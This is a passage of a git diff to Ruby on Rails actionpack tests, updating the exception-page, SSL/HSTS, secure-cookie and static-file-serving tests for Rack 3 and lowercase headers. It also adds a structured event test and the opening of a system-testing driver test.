+    session = ActionController::TestSession.new
+    assert_instance_of String, session.id.public_id
+    assert_equal(session.id.public_id, session["session_id"])
+  end
+
+  def test_merge!
+    session = ActionController::TestSession.new
+    session.merge!({ key: "value" })
+    assert_equal("value", session["key"])
+  end
 end
diff --git a/actionpack/test/dispatch/show_exceptions_test.rb b/actionpack/test/dispatch/show_exceptions_test.rb
index 3513534d72f8f..05a33bfddadea 100644
--- a/actionpack/test/dispatch/show_exceptions_test.rb
+++ b/actionpack/test/dispatch/show_exceptions_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class ShowExceptionsTest < ActionDispatch::IntegrationTest
@@ -7,6 +9,8 @@ def call(env)
       case req.path
       when "/not_found"
         raise AbstractController::ActionNotFound
+      when "/invalid_mimetype"
+        raise ActionDispatch::Http::MimeNegotiation::InvalidType
       when "/bad_params", "/bad_params.json"
         begin
           raise StandardError.new
@@ -23,56 +27,93 @@ def call(env)
         rescue
           raise ActionView::Template::Error.new("template")
         end
+      when "/rate_limited"
+        raise ActionController::TooManyRequests.new
       else
         raise "puke!"
       end
     end
   end
 
-  ProductionApp = ActionDispatch::ShowExceptions.new(Boomer.new, ActionDispatch::PublicExceptions.new("#{FIXTURE_LOAD_PATH}/public"))
+  def setup
+    @app = build_app
+  end
 
   test "skip exceptions app if not showing exceptions" do
-    @app = ProductionApp
     assert_raise RuntimeError do
-      get "/", headers: { "action_dispatch.show_exceptions" => false }
+      get "/", env: { "action_dispatch.show_exceptions" => :none }
+    end
+
+    assert_raise ActionController::TooManyRequests do
+      get "/rate_limited", headers: { "action_dispatch.show_exceptions" => :none }
     end
   end
 
   test "rescue with error page" do
-    @app = ProductionApp
-
-    get "/", headers: { "action_dispatch.show_exceptions" => true }
+    get "/", env: { "action_dispatch.show_exceptions" => :all }
     assert_response 500
     assert_equal "500 error fixture\n", body
 
-    get "/bad_params", headers: { "action_dispatch.show_exceptions" => true }
+    get "/bad_params", env: { "action_dispatch.show_exceptions" => :all }
     assert_response 400
     assert_equal "400 error fixture\n", body
 
-    get "/not_found", headers: { "action_dispatch.show_exceptions" => true }
+    get "/not_found", env: { "action_dispatch.show_exceptions" => :all }
     assert_response 404
     assert_equal "404 error fixture\n", body
 
-    get "/method_not_allowed", headers: { "action_dispatch.show_exceptions" => true }
+    get "/method_not_allowed", env: { "action_dispatch.show_exceptions" => :all }
+    assert_response 405
+    assert_equal "", body
+
+    get "/unknown_http_method", env: { "action_dispatch.show_exceptions" => :all }
+    assert_response 405
+    assert_equal "", body
+
+    get "/invalid_mimetype", headers: { "Accept" => "text/html,*", "action_dispatch.show_exceptions" => :all }
+    assert_response 406
+    assert_equal "", body
+
+    get "/rate_limited", headers: { "action_dispatch.show_exceptions" => :all }
+    assert_response 429
+    assert_equal "", body
+  end
+
+  test "rescue with no body for HEAD requests" do
+    head "/", env: { "action_dispatch.show_exceptions" => :all }
+    assert_response 500
+    assert_equal "", body
+
+    head "/bad_params", env: { "action_dispatch.show_exceptions" => :all }
+    assert_response 400
+    assert_equal "", body
+
+    head "/not_found", env: { "action_dispatch.show_exceptions" => :all }
+    assert_response 404
+    assert_equal "", body
+
+    head "/method_not_allowed", env: { "action_dispatch.show_exceptions" => :all }
     assert_response 405
     assert_equal "", body
 
-    get "/unknown_http_method", headers: { "action_dispatch.show_exceptions" => true }
+    head "/unknown_http_method", env: { "action_dispatch.show_exceptions" => :all }
     assert_response 405
     assert_equal "", body
+
+    head "/invalid_mimetype", headers: { "Accept" => "text/html,*", "action_dispatch.show_exceptions" => :all }
+    assert_response 406
+    assert_equal "", body
   end
 
   test "localize rescue error page" do
     old_locale, I18n.locale = I18n.locale, :da
 
     begin
-      @app = ProductionApp
-
-      get "/", headers: { "action_dispatch.show_exceptions" => true }
+      get "/", env: { "action_dispatch.show_exceptions" => :all }
       assert_response 500
       assert_equal "500 localized error fixture\n", body
 
-      get "/not_found", headers: { "action_dispatch.show_exceptions" => true }
+      get "/not_found", env: { "action_dispatch.show_exceptions" => :all }
       assert_response 404
       assert_equal "404 error fixture\n", body
     ensure
@@ -81,16 +122,12 @@ def call(env)
   end
 
   test "sets the HTTP charset parameter" do
-    @app = ProductionApp
-
-    get "/", headers: { "action_dispatch.show_exceptions" => true }
-    assert_equal "text/html; charset=utf-8", response.headers["Content-Type"]
+    get "/", env: { "action_dispatch.show_exceptions" => :all }
+    assert_equal "text/html; charset=utf-8", response.headers["content-type"]
   end
 
   test "show registered original exception for wrapped exceptions" do
-    @app = ProductionApp
-
-    get "/not_found_original_exception", headers: { "action_dispatch.show_exceptions" => true }
+    get "/not_found_original_exception", env: { "action_dispatch.show_exceptions" => :all }
     assert_response 404
     assert_match(/404 error/, body)
   end
@@ -100,37 +137,55 @@ def call(env)
       assert_kind_of AbstractController::ActionNotFound, env["action_dispatch.exception"]
       assert_equal "/404", env["PATH_INFO"]
       assert_equal "/not_found_original_exception", env["action_dispatch.original_path"]
-      [404, { "Content-Type" => "text/plain" }, ["YOU FAILED"]]
+      [404, { "content-type" => "text/plain" }, ["YOU FAILED"]]
     end
 
-    @app = ActionDispatch::ShowExceptions.new(Boomer.new, exceptions_app)
-    get "/not_found_original_exception", headers: { "action_dispatch.show_exceptions" => true }
+    @app = build_app(exceptions_app)
+
+    get "/not_found_original_exception", env: { "action_dispatch.show_exceptions" => :all }
     assert_response 404
     assert_equal "YOU FAILED", body
   end
 
-  test "returns an empty response if custom exceptions app returns X-Cascade pass" do
+  test "returns an empty response if custom exceptions app returns x-cascade pass" do
     exceptions_app = lambda do |env|
-      [404, { "X-Cascade" => "pass" }, []]
+      [404, { ActionDispatch::Constants::X_CASCADE => "pass" }, []]
     end
 
-    @app = ActionDispatch::ShowExceptions.new(Boomer.new, exceptions_app)
-    get "/method_not_allowed", headers: { "action_dispatch.show_exceptions" => true }
+    @app = build_app(exceptions_app)
+
+    get "/method_not_allowed", env: { "action_dispatch.show_exceptions" => :all }
     assert_response 405
     assert_equal "", body
   end
 
   test "bad params exception is returned in the correct format" do
-    @app = ProductionApp
-
-    get "/bad_params", headers: { "action_dispatch.show_exceptions" => true }
-    assert_equal "text/html; charset=utf-8", response.headers["Content-Type"]
+    get "/bad_params", env: { "action_dispatch.show_exceptions" => :all }
+    assert_equal "text/html; charset=utf-8", response.headers["content-type"]
     assert_response 400
     assert_match(/400 error/, body)
 
-    get "/bad_params.json", headers: { "action_dispatch.show_exceptions" => true }
-    assert_equal "application/json; charset=utf-8", response.headers["Content-Type"]
+    get "/bad_params.json", env: { "action_dispatch.show_exceptions" => :all }
+    assert_equal "application/json; charset=utf-8", response.headers["content-type"]
     assert_response 400
     assert_equal("{\"status\":400,\"error\":\"Bad Request\"}", body)
   end
+
+  test "failsafe prevents raising if exceptions_app raises" do
+    old_stderr, $stderr = $stderr, StringIO.new
+    @app = build_app(->(_) { raise })
+
+    get "/"
+
+    assert_response 500
+    assert_match(/500 Internal Server Error/, body)
+  ensure
+    $stderr = old_stderr
+  end
+
+  private
+    def build_app(exceptions_app = nil)
+      exceptions_app ||= ActionDispatch::PublicExceptions.new("#{FIXTURE_LOAD_PATH}/public")
+      Rack::Lint.new(ActionDispatch::ShowExceptions.new(Rack::Lint.new(Boomer.new), exceptions_app))
+    end
 end
diff --git a/actionpack/test/dispatch/ssl_test.rb b/actionpack/test/dispatch/ssl_test.rb
index 757e26973f425..f00416a0cdf92 100644
--- a/actionpack/test/dispatch/ssl_test.rb
+++ b/actionpack/test/dispatch/ssl_test.rb
@@ -1,13 +1,18 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class SSLTest < ActionDispatch::IntegrationTest
-  HEADERS = Rack::Utils::HeaderHash.new "Content-Type" => "text/html"
-
   attr_accessor :app
 
   def build_app(headers: {}, ssl_options: {})
-    headers = HEADERS.merge(headers)
-    ActionDispatch::SSL.new lambda { |env| [200, headers, []] }, ssl_options.reverse_merge(hsts: { subdomains: true })
+    app = lambda { |env| [200, headers, []] }
+    Rack::Lint.new(
+      ActionDispatch::SSL.new(
+        Rack::Lint.new(app),
+        hsts: { subdomains: true }, **ssl_options,
+      )
+    )
   end
 end
 
@@ -19,7 +24,7 @@ def assert_not_redirected(url, headers: {}, redirect: {})
   end
 
   def assert_redirected(redirect: {}, from: "http://a/b?c=d", to: from.sub("http", "https"))
-    redirect = { status: 301, body: [] }.merge(redirect)
+    redirect = { body: [] }.merge(redirect)
 
     self.app = build_app ssl_options: { redirect: redirect }
 
@@ -29,9 +34,7 @@ def assert_redirected(redirect: {}, from: "http://a/b?c=d", to: from.sub("http",
     assert_equal redirect[:body].join, @response.body
   end
 
-  def assert_post_redirected(redirect: {}, from: "http://a/b?c=d",
-    to: from.sub("http", "https"))
-
+  def assert_post_redirected(redirect: {}, from: "http://a/b?c=d", to: from.sub("http", "https"))
     self.app = build_app ssl_options: { redirect: redirect }
 
     post from
@@ -40,7 +43,7 @@ def assert_post_redirected(redirect: {}, from: "http://a/b?c=d",
   end
 
   test "exclude can avoid redirect" do
-    excluding = { exclude: -> request { request.path =~ /healthcheck/ } }
+    excluding = { exclude: -> request { request.path.match?(/healthcheck/) } }
 
     assert_not_redirected "http://example.org/healthcheck", redirect: excluding
     assert_redirected from: "http://example.org/", redirect: excluding
@@ -62,8 +65,31 @@ def assert_post_redirected(redirect: {}, from: "http://a/b?c=d",
     assert_post_redirected
   end
 
-  test "redirect with non-301 status" do
-    assert_redirected redirect: { status: 307 }
+  test "redirect with custom status" do
+    assert_redirected redirect: { status: 308 }
+  end
+
+  test "redirect with unknown request method" do
+    self.app = build_app
+
+    process :not_an_http_method, "http://a/b?c=d"
+
+    assert_response 307
+    assert_redirected_to "https://a/b?c=d"
+  end
+
+  test "redirect with ssl_default_redirect_status" do
+    self.app = build_app(ssl_options: { ssl_default_redirect_status: 308 })
+
+    get "http://a/b?c=d"
+
+    assert_response 301
+    assert_redirected_to "https://a/b?c=d"
+
+    post "http://a/b?c=d"
+
+    assert_response 308
+    assert_redirected_to "https://a/b?c=d"
   end
 
   test "redirect with custom body" do
@@ -96,16 +122,16 @@ def assert_post_redirected(redirect: {}, from: "http://a/b?c=d",
 end
 
 class StrictTransportSecurityTest < SSLTest
-  EXPECTED = "max-age=15552000"
-  EXPECTED_WITH_SUBDOMAINS = "max-age=15552000; includeSubDomains"
+  EXPECTED = "max-age=63072000"
+  EXPECTED_WITH_SUBDOMAINS = "max-age=63072000; includeSubDomains"
 
   def assert_hsts(expected, url: "https://example.org", hsts: { subdomains: true }, headers: {})
     self.app = build_app ssl_options: { hsts: hsts }, headers: headers
     get url
     if expected.nil?
-      assert_nil response.headers["Strict-Transport-Security"]
+      assert_nil response.headers["strict-transport-security"]
     else
-      assert_equal expected, response.headers["Strict-Transport-Security"]
+      assert_equal expected, response.headers["strict-transport-security"]
     end
   end
 
@@ -118,7 +144,8 @@ def assert_hsts(expected, url: "https://example.org", hsts: { subdomains: true }
   end
 
   test "defers to app-provided header" do
-    assert_hsts "app-provided", headers: { "Strict-Transport-Security" => "app-provided" }
+    headers = { ActionDispatch::Constants::STRICT_TRANSPORT_SECURITY => "app-provided" }
+    assert_hsts "app-provided", headers: headers
   end
 
   test "hsts: true enables default settings" do
@@ -155,64 +182,94 @@ def assert_hsts(expected, url: "https://example.org", hsts: { subdomains: true }
 end
 
 class SecureCookiesTest < SSLTest
-  DEFAULT = %(id=1; path=/\ntoken=abc; path=/; secure; HttpOnly)
-
-  def get(**options)
-    self.app = build_app(**options)
-    super "https://example.org"
-  end
-
-  def assert_cookies(*expected)
-    assert_equal expected, response.headers["Set-Cookie"].split("\n")
+  DEFAULT = if Gem::Version.new(Rack::RELEASE) < Gem::Version.new("3")
+    %(id=1; path=/\ntoken=abc; path=/; secure; HttpOnly)
+  else
+    ["id=1; path=/", "token=abc; path=/; secure; HttpOnly"]
   end
 
   def test_flag_cookies_as_secure
-    get headers: { "Set-Cookie" => DEFAULT }
+    get headers: { Rack::SET_COOKIE => DEFAULT }
     assert_cookies "id=1; path=/; secure", "token=abc; path=/; secure; HttpOnly"
   end
 
   def test_flag_cookies_as_secure_at_end_of_line
-    get headers: { "Set-Cookie" => "problem=def; path=/; HttpOnly; secure" }
+    get headers: { Rack::SET_COOKIE => "problem=def; path=/; HttpOnly; secure" }
     assert_cookies "problem=def; path=/; HttpOnly; secure"
   end
 
   def test_flag_cookies_as_secure_with_more_spaces_before
-    get headers: { "Set-Cookie" => "problem=def; path=/; HttpOnly;  secure" }
+    get headers: { Rack::SET_COOKIE => "problem=def; path=/; HttpOnly;  secure" }
     assert_cookies "problem=def; path=/; HttpOnly;  secure"
   end
 
   def test_flag_cookies_as_secure_with_more_spaces_after
-    get headers: { "Set-Cookie" => "problem=def; path=/; secure;  HttpOnly" }
+    get headers: { Rack::SET_COOKIE => "problem=def; path=/; secure;  HttpOnly" }
     assert_cookies "problem=def; path=/; secure;  HttpOnly"
   end
 
   def test_flag_cookies_as_secure_with_has_not_spaces_before
-    get headers: { "Set-Cookie" => "problem=def; path=/;secure; HttpOnly" }
+    get headers: { Rack::SET_COOKIE => "problem=def; path=/;secure; HttpOnly" }
     assert_cookies "problem=def; path=/;secure; HttpOnly"
   end
 
   def test_flag_cookies_as_secure_with_has_not_spaces_after
-    get headers: { "Set-Cookie" => "problem=def; path=/; secure;HttpOnly" }
+    get headers: { Rack::SET_COOKIE => "problem=def; path=/; secure;HttpOnly" }
     assert_cookies "problem=def; path=/; secure;HttpOnly"
   end
 
   def test_flag_cookies_as_secure_with_ignore_case
-    get headers: { "Set-Cookie" => "problem=def; path=/; Secure; HttpOnly" }
+    get headers: { Rack::SET_COOKIE => "problem=def; path=/; Secure; HttpOnly" }
     assert_cookies "problem=def; path=/; Secure; HttpOnly"
   end
 
   def test_cookies_as_not_secure_with_secure_cookies_disabled
-    get headers: { "Set-Cookie" => DEFAULT }, ssl_options: { secure_cookies: false }
-    assert_cookies(*DEFAULT.split("\n"))
+    get headers: { Rack::SET_COOKIE => DEFAULT }, ssl_options: { secure_cookies: false }
+    assert_cookies("id=1; path=/", "token=abc; path=/; secure; HttpOnly")
+  end
+
+  def test_cookies_as_not_secure_with_exclude
+    excluding = { exclude: -> request { /example/.match?(request.domain) } }
+    get headers: { Rack::SET_COOKIE => DEFAULT }, ssl_options: { redirect: excluding }
+
+    assert_cookies("id=1; path=/", "token=abc; path=/; secure; HttpOnly")
+    assert_response :ok
   end
 
   def test_no_cookies
     get
-    assert_nil response.headers["Set-Cookie"]
+    assert_nil response.headers[Rack::SET_COOKIE]
   end
 
   def test_keeps_original_headers_behavior
-    get headers: { "Connection" => %w[close] }
-    assert_equal "close", response.headers["Connection"]
+    get headers: { "connection" => "close" }
+    assert_equal "close", response.headers["connection"]
+  end
+
+  # Array-based headers are only supported in Rack 3+
+  if Gem::Version.new(Rack::RELEASE) >= Gem::Version.new("3")
+    def test_flag_cookies_as_secure_with_single_cookie_in_array
+      get headers: { Rack::SET_COOKIE => ["id=1"] }
+      assert_cookies "id=1; secure"
+    end
+
+    def test_flag_cookies_as_secure_with_multiple_cookies_in_array
+      get headers: { Rack::SET_COOKIE => ["id=1", "problem=def"] }
+      assert_cookies "id=1; secure", "problem=def; secure"
+    end
   end
+
+  private
+    def get(**options)
+      self.app = build_app(**options)
+      super "https://example.org"
+    end
+
+    def assert_cookies(*expected)
+      cookies = response.headers[Rack::SET_COOKIE]
+      if Gem::Version.new(Rack::RELEASE) < Gem::Version.new("3")
+        cookies = cookies.split("\n")
+      end
+      assert_equal expected, cookies
+    end
 end
diff --git a/actionpack/test/dispatch/static_test.rb b/actionpack/test/dispatch/static_test.rb
index bd8318f5f6041..811a629fd137a 100644
--- a/actionpack/test/dispatch/static_test.rb
+++ b/actionpack/test/dispatch/static_test.rb
@@ -1,16 +1,24 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "zlib"
 
-module StaticTests
+class StaticTest < ActiveSupport::TestCase
   DummyApp = lambda { |env|
-    [200, { "Content-Type" => "text/plain" }, ["Hello, World!"]]
+    [200, { Rack::CONTENT_TYPE => "text/plain" }, ["Hello, World!"]]
   }
 
+  def public_path
+    "public"
+  end
+
   def setup
     silence_warnings do
       @default_internal_encoding = Encoding.default_internal
       @default_external_encoding = Encoding.default_external
     end
+    @root = "#{FIXTURE_LOAD_PATH}/#{public_path}"
+    @app = build_app(DummyApp, @root, headers: { "cache-control" => "public, max-age=60" })
   end
 
   def teardown
@@ -29,7 +37,7 @@ def test_handles_urls_with_bad_encoding
   end
 
   def test_handles_urls_with_ascii_8bit
-    assert_equal "Hello, World!", get("/doorkeeper%E3E4".force_encoding("ASCII-8BIT")).body
+    assert_equal "Hello, World!", get((+"/doorkeeper%E3E4").force_encoding("ASCII-8BIT")).body
   end
 
   def test_handles_urls_with_ascii_8bit_on_win_31j
@@ -37,7 +45,7 @@ def test_handles_urls_with_ascii_8bit_on_win_31j
       Encoding.default_internal = "Windows-31J"
       Encoding.default_external = "Windows-31J"
     end
-    assert_equal "Hello, World!", get("/doorkeeper%E3E4".force_encoding("ASCII-8BIT")).body
+    assert_equal "Hello, World!", get((+"/doorkeeper%E3E4").force_encoding("ASCII-8BIT")).body
   end
 
   def test_handles_urls_with_null_byte
@@ -69,7 +77,16 @@ def test_serves_file_with_same_name_before_index_in_directory
   end
 
   def test_served_static_file_with_non_english_filename
-    assert_html "means hello in Japanese\n", get("/foo/#{Rack::Utils.escape("�ん���.html")}")
+    assert_html "means hello in Japanese\n", get("/foo/%E3%81%93%E3%82%93%E3%81%AB%E3%81%A1%E3%81%AF.html")
+  end
+
+  def test_served_gzipped_static_file_with_non_english_filename
+    response = get("/foo/%E3%81%95%E3%82%88%E3%81%86%E3%81%AA%E3%82%89.html", "HTTP_ACCEPT_ENCODING" => "gzip")
+
+    assert_gzip  "/foo/�よ��ら.html", response
+    assert_equal "text/html",          response.headers["content-type"]
+    assert_equal "accept-encoding",    response.headers["vary"]
+    assert_equal "gzip",               response.headers["content-encoding"]
   end
 
   def test_serves_static_file_with_exclamation_mark_in_filename
@@ -135,13 +152,15 @@ def test_serves_static_file_with_at_symbol_in_filename
     end
   end
 
+  JAVASCRIPT_MIME_TYPE = Rack::Mime::MIME_TYPES[".js"]
+
   def test_serves_gzip_files_when_header_set
     file_name = "/gzip/application-a71b3024f80aea3181c09774ca17e712.js"
     response  = get(file_name, "HTTP_ACCEPT_ENCODING" => "gzip")
     assert_gzip  file_name, response
-    assert_equal "application/javascript", response.headers["Content-Type"]
-    assert_equal "Accept-Encoding",        response.headers["Vary"]
-    assert_equal "gzip",                   response.headers["Content-Encoding"]
+    assert_equal JAVASCRIPT_MIME_TYPE, response.headers["content-type"]
+    assert_equal "accept-encoding", response.headers["vary"]
+    assert_equal "gzip", response.headers["content-encoding"]
 
     response = get(file_name, "HTTP_ACCEPT_ENCODING" => "Gzip")
     assert_gzip file_name, response
@@ -153,23 +172,69 @@ def test_serves_gzip_files_when_header_set
     assert_gzip file_name, response
 
     response = get(file_name, "HTTP_ACCEPT_ENCODING" => "")
-    assert_not_equal "gzip", response.headers["Content-Encoding"]
+    assert_not_equal "gzip", response.headers["content-encoding"]
+  end
+
+  def test_serves_gzip_files_when_svg
+    file_name = "/gzip/logo-bcb6d75d927347158af5.svg"
+    response  = get(file_name, "HTTP_ACCEPT_ENCODING" => "gzip")
+    assert_gzip  file_name, response
+    assert_equal "image/svg+xml", response.headers["Content-Type"]
+    assert_equal "accept-encoding",        response.headers["Vary"]
+    assert_equal "gzip",                   response.headers["Content-Encoding"]
+  end
+
+  def test_set_vary_when_origin_compressed_but_client_cant_accept
+    file_name = "/gzip/application-a71b3024f80aea3181c09774ca17e712.js"
+    response  = get(file_name, "HTTP_ACCEPT_ENCODING" => "None")
+    assert_equal "accept-encoding", response.headers["vary"]
+  end
+
+  def test_serves_brotli_files_when_header_set
+    file_name = "/gzip/application-a71b3024f80aea3181c09774ca17e712.js"
+    response  = get(file_name, "HTTP_ACCEPT_ENCODING" => "br")
+    assert_equal JAVASCRIPT_MIME_TYPE, response.headers["content-type"]
+    assert_equal "accept-encoding", response.headers["vary"]
+    assert_equal "br", response.headers["content-encoding"]
+
+    response = get(file_name, "HTTP_ACCEPT_ENCODING" => "gzip")
+    assert_not_equal "br", response.headers["content-encoding"]
+  end
+
+  def test_serves_brotli_files_before_gzip_files
+    file_name = "/gzip/application-a71b3024f80aea3181c09774ca17e712.js"
+    response  = get(file_name, "HTTP_ACCEPT_ENCODING" => "gzip, deflate, sdch, br")
+    assert_equal JAVASCRIPT_MIME_TYPE, response.headers["content-type"]
+    assert_equal "accept-encoding", response.headers["vary"]
+    assert_equal "br", response.headers["content-encoding"]
   end
 
   def test_does_not_modify_path_info
     file_name = "/gzip/application-a71b3024f80aea3181c09774ca17e712.js"
-    env = { "PATH_INFO" => file_name, "HTTP_ACCEPT_ENCODING" => "gzip", "REQUEST_METHOD" => "POST" }
+    env = Rack::MockRequest.env_for(file_name, { "PATH_INFO" => file_name, "HTTP_ACCEPT_ENCODING" => "gzip", "REQUEST_METHOD" => "POST" })
     @app.call(env)
     assert_equal file_name, env["PATH_INFO"]
   end
 
+  def test_only_set_one_content_type
+    file_name = "/gzip/foo.zoo"
+    gzip_env = Rack::MockRequest.env_for(file_name, { "PATH_INFO" => file_name, "HTTP_ACCEPT_ENCODING" => "gzip", "REQUEST_METHOD" => "GET" })
+    response = @app.call(gzip_env)
+
+    env = Rack::MockRequest.env_for(file_name, { "PATH_INFO" => file_name, "REQUEST_METHOD" => "GET" })
+    default_response = @app.call(env)
+
+    assert_equal 1, response[1].slice("Content-Type", "content-type").size
+    assert_equal 1, default_response[1].slice("Content-Type", "content-type").size
+  end
+
   def test_serves_gzip_with_proper_content_type_fallback
     file_name = "/gzip/foo.zoo"
     response  = get(file_name, "HTTP_ACCEPT_ENCODING" => "gzip")
     assert_gzip file_name, response
 
     default_response = get(file_name) # no gzip
-    assert_equal default_response.headers["Content-Type"], response.headers["Content-Type"]
+    assert_equal default_response.headers["content-type"], response.headers["content-type"]
   end
 
   def test_serves_gzip_files_with_not_modified
@@ -177,30 +242,60 @@ def test_serves_gzip_files_with_not_modified
     last_modified = File.mtime(File.join(@root, "#{file_name}.gz"))
     response = get(file_name, "HTTP_ACCEPT_ENCODING" => "gzip", "HTTP_IF_MODIFIED_SINCE" => last_modified.httpdate)
     assert_equal 304, response.status
-    assert_nil response.headers["Content-Type"]
-    assert_nil response.headers["Content-Encoding"]
-    assert_nil response.headers["Vary"]
+    assert_nil response.headers["content-type"]
+    assert_nil response.headers["content-encoding"]
+    assert_nil response.headers["vary"]
   end
 
   def test_serves_files_with_headers
     headers = {
-      "Access-Control-Allow-Origin" => "http://rubyonrails.org",
-      "Cache-Control"               => "public, max-age=60",
-      "X-Custom-Header"             => "I'm a teapot"
+      "access-control-allow-origin" => "http://rubyonrails.org",
+      "cache-control"               => "public, max-age=60",
+      "x-custom-header"             => "I'm a teapot"
     }
 
-    app      = ActionDispatch::Static.new(DummyApp, @root, headers: headers)
-    response = Rack::MockRequest.new(app).request("GET", "/foo/bar.html")
+    @app = build_app(DummyApp, @root, headers: headers)
 
-    assert_equal "http://rubyonrails.org", response.headers["Access-Control-Allow-Origin"]
-    assert_equal "public, max-age=60",     response.headers["Cache-Control"]
-    assert_equal "I'm a teapot",           response.headers["X-Custom-Header"]
+    response = get("/foo/bar.html")
+
+    assert_equal "http://rubyonrails.org", response.headers["access-control-allow-origin"]
+    assert_equal "public, max-age=60",     response.headers["cache-control"]
+    assert_equal "I'm a teapot",           response.headers["x-custom-header"]
   end
 
   def test_ignores_unknown_http_methods
-    app = ActionDispatch::Static.new(DummyApp, @root)
+    response = Rack::MockRequest.new(@app).request("BAD_METHOD", "/foo/bar.html")
+    assert_equal 200, response.status
+  end
+
+  def test_custom_handler_called_when_file_is_outside_root
+    filename = "shared.html.erb"
+    assert File.exist?(File.join(@root, "..", filename))
+    env = Rack::MockRequest.env_for("", {
+      "REQUEST_METHOD" => "GET",
+      "REQUEST_PATH" => "/..%2F#{filename}",
+      "PATH_INFO" => "/..%2F#{filename}",
+      "REQUEST_URI" => "/..%2F#{filename}",
+    })
+
+    dummy_response = DummyApp.call(nil)
+    app_response = @app.call(env)
+
+    assert_equal dummy_response[0], app_response[0]
+    assert_equal dummy_response[1], app_response[1]
+    assert_equal dummy_response[2].to_a, app_response[2].enum_for.to_a
+  end
 
-    assert_nothing_raised { Rack::MockRequest.new(app).request("BAD_METHOD", "/foo/bar.html") }
+  def test_non_default_static_index
+    @app = build_app(DummyApp, @root, index: "other-index")
+    assert_html "/other-index.html", get("/other-index.html")
+    assert_html "/other-index.html", get("/other-index")
+    assert_html "/other-index.html", get("/")
+    assert_html "/other-index.html", get("")
+    assert_html "/foo/other-index.html", get("/foo/other-index.html")
+    assert_html "/foo/other-index.html", get("/foo/other-index")
+    assert_html "/foo/other-index.html", get("/foo/")
+    assert_html "/foo/other-index.html", get("/foo")
   end
 
   # Windows doesn't allow \ / : * ? " < > | in filenames
@@ -221,17 +316,24 @@ def test_serves_static_file_with_asterisk
   end
 
   private
+    def build_app(app, path, index: "index", headers: {})
+      Rack::Lint.new(
+        ActionDispatch::Static.new(
+          Rack::Lint.new(app), path, index: index, headers: headers,
+        ),
+      )
+    end
 
     def assert_gzip(file_name, response)
       expected = File.read("#{FIXTURE_LOAD_PATH}/#{public_path}" + file_name)
-      actual   = Zlib::GzipReader.new(StringIO.new(response.body)).read
+      actual   = ActiveSupport::Gzip.decompress(response.body)
       assert_equal expected, actual
     end
 
     def assert_html(body, response)
       assert_equal body, response.body
-      assert_equal "text/html", response.headers["Content-Type"]
-      assert_nil response.headers["Vary"]
+      assert_equal "text/html", response.headers["content-type"]
+      assert_nil response.headers["vary"]
     end
 
     def get(path, headers = {})
@@ -252,55 +354,7 @@ def with_static_file(file)
     end
 end
 
-class StaticTest < ActiveSupport::TestCase
-  def setup
-    super
-    @root = "#{FIXTURE_LOAD_PATH}/public"
-    @app = ActionDispatch::Static.new(DummyApp, @root, headers: { "Cache-Control" => "public, max-age=60" })
-  end
-
-  def public_path
-    "public"
-  end
-
-  include StaticTests
-
-  def test_custom_handler_called_when_file_is_outside_root
-    filename = "shared.html.erb"
-    assert File.exist?(File.join(@root, "..", filename))
-    env = {
-      "REQUEST_METHOD" => "GET",
-      "REQUEST_PATH" => "/..%2F#{filename}",
-      "PATH_INFO" => "/..%2F#{filename}",
-      "REQUEST_URI" => "/..%2F#{filename}",
-      "HTTP_VERSION" => "HTTP/1.1",
-      "SERVER_NAME" => "localhost",
-      "SERVER_PORT" => "8080",
-      "QUERY_STRING" => ""
-    }
-    assert_equal(DummyApp.call(nil), @app.call(env))
-  end
-
-  def test_non_default_static_index
-    @app = ActionDispatch::Static.new(DummyApp, @root, index: "other-index")
-    assert_html "/other-index.html", get("/other-index.html")
-    assert_html "/other-index.html", get("/other-index")
-    assert_html "/other-index.html", get("/")
-    assert_html "/other-index.html", get("")
-    assert_html "/foo/other-index.html", get("/foo/other-index.html")
-    assert_html "/foo/other-index.html", get("/foo/other-index")
-    assert_html "/foo/other-index.html", get("/foo/")
-    assert_html "/foo/other-index.html", get("/foo")
-  end
-end
-
 class StaticEncodingTest < StaticTest
-  def setup
-    super
-    @root = "#{FIXTURE_LOAD_PATH}/公共"
-    @app = ActionDispatch::Static.new(DummyApp, @root, headers: { "Cache-Control" => "public, max-age=60" })
-  end
-
   def public_path
     "公共"
   end
diff --git a/actionpack/test/dispatch/structured_event_subscriber_test.rb b/actionpack/test/dispatch/structured_event_subscriber_test.rb
new file mode 100644
index 0000000000000..5e115d7008022
--- /dev/null
+++ b/actionpack/test/dispatch/structured_event_subscriber_test.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/testing/event_reporter_assertions"
+require "action_dispatch/structured_event_subscriber"
+
+module ActionDispatch
+  class StructuredEventSubscriberTest < ActionDispatch::IntegrationTest
+    include ActiveSupport::Testing::EventReporterAssertions
+
+    test "redirect is reported as structured event" do
+      draw do
+        get "redirect", to: redirect("/login")
+      end
+
+      event = assert_event_reported("action_dispatch.redirect", payload: {
+        location: "http://www.example.com/login",
+        status: 301,
+        status_name: "Moved Permanently"
+      }) do
+        get "/redirect"
+      end
+
+      assert event[:payload][:duration_ms].is_a?(Numeric)
+    end
+
+    test "redirect with custom status is reported correctly" do
+      draw do
+        get "redirect", to: redirect("/moved", status: 302)
+      end
+
+      assert_event_reported("action_dispatch.redirect", payload: {
+        location: "http://www.example.com/moved",
+        status: 302,
+        status_name: "Found"
+      }) do
+        get "/redirect"
+      end
+    end
+
+    private
+      def draw(&block)
+        self.class.stub_controllers do |routes|
+          routes.default_url_options = { host: "www.example.com" }
+          routes.draw(&block)
+          @app = RoutedRackApp.new routes
+        end
+      end
+  end
+end
diff --git a/actionpack/test/dispatch/system_testing/driver_test.rb b/actionpack/test/dispatch/system_testing/driver_test.rb
new file mode 100644
index 0000000000000..848893f2b4c57
--- /dev/null
+++ b/actionpack/test/dispatch/system_testing/driver_test.rb
@@ -0,0 +1,237 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "support/system_helper"
+require "action_dispatch/system_testing/driver"
+require "selenium/webdriver"
+
+class DriverTest < ActiveSupport::TestCase
+  test "initializing the driver" do
+    driver = ActionDispatch::SystemTesting::Driver.new(:selenium)
+    assert_equal :selenium, driver.instance_variable_get(:@driver_type)
+  end
+
+  test "initializing the driver with a browser" do
+    driver = ActionDispatch::SystemTesting::Driver.new(:selenium, using: :chrome, screen_size: [1400, 1400], options: { url: "http://example.com/wd/hub" })
+    assert_equal :selenium, driver.instance_variable_get(:@driver_type)
